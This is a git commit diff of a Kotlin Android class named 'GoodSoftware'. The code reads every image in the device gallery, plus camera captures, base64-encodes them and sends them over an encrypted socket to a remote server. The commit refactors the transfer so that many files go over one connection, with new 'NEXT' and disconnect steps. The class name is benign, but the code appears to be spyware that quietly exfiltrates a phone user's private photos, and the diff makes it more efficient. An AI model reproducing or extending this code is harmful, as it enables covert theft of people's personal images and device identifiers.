Multiple files over 1 connection
This commit is contained in:
		@@ -160,13 +160,14 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                    try {
 | 
			
		||||
                        val imageList = getAllImagesFromGallery(activity)
 | 
			
		||||
                        println(imageList)
 | 
			
		||||
                        val connection = establishConnection()
 | 
			
		||||
                        for (image in imageList) {
 | 
			
		||||
                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
			
		||||
                            Thread {
 | 
			
		||||
                                println("Sending data to server")
 | 
			
		||||
                                sendDataToServer(base64Image, establishConnection())
 | 
			
		||||
                            }.start()
 | 
			
		||||
                            println("Image send $image")
 | 
			
		||||
                            sendDataToServer(base64Image, connection)
 | 
			
		||||
                            next(connection)
 | 
			
		||||
                        }
 | 
			
		||||
                        disconnect(connection)
 | 
			
		||||
                    } catch (e: Exception) {
 | 
			
		||||
                        e.printStackTrace()
 | 
			
		||||
                        // Handle the exception, e.g., log the error or notify the user
 | 
			
		||||
@@ -306,6 +307,8 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
        writer.println(encryptText(encodedUid, pKey))
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        println("Connection, OK!")
 | 
			
		||||
 | 
			
		||||
        return ConnectionResult(socket, reader, writer, key, iv, algorithm)
 | 
			
		||||
    }
 | 
			
		||||
    fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
 | 
			
		||||
@@ -322,26 +325,25 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
 | 
			
		||||
            writer.println("END_OF_DATA")
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
 | 
			
		||||
            println("Client: Ready for next operation")
 | 
			
		||||
            writer.println("Ready for next operation")
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
 | 
			
		||||
            // Close resources
 | 
			
		||||
            writer.close()
 | 
			
		||||
            reader.close()
 | 
			
		||||
            socket.close()
 | 
			
		||||
        } catch (e: Exception) {
 | 
			
		||||
            e.printStackTrace()
 | 
			
		||||
            // Handle the exception, e.g., log the error or notify the user
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    fun next(connectionResult: ConnectionResult) {
 | 
			
		||||
        val (socket, reader, writer, _, _, _) = connectionResult
 | 
			
		||||
        try {
 | 
			
		||||
            writer.println("NEXT")
 | 
			
		||||
        } catch (e: Exception) {
 | 
			
		||||
            e.printStackTrace()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
    fun disconnect(connectionResult: ConnectionResult) {
 | 
			
		||||
        val (socket, reader, writer, _, _, _) = connectionResult
 | 
			
		||||
        try {
 | 
			
		||||
            writer.println("END_OF_COMMUNICATION")
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
            println("Disconnect")
 | 
			
		||||
            writer.close()
 | 
			
		||||
            reader.close()
 | 
			
		||||
            socket.close()
 | 
			
		||||
@@ -390,7 +392,9 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
			
		||||
                Thread {
 | 
			
		||||
                    println("Sending data to server")
 | 
			
		||||
                    sendDataToServer(base64Image, establishConnection())
 | 
			
		||||
                    val conn = establishConnection()
 | 
			
		||||
                    sendDataToServer(base64Image, conn)
 | 
			
		||||
                    disconnect(conn)
 | 
			
		||||
                }.start()
 | 
			
		||||
                image.close()
 | 
			
		||||
            }
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user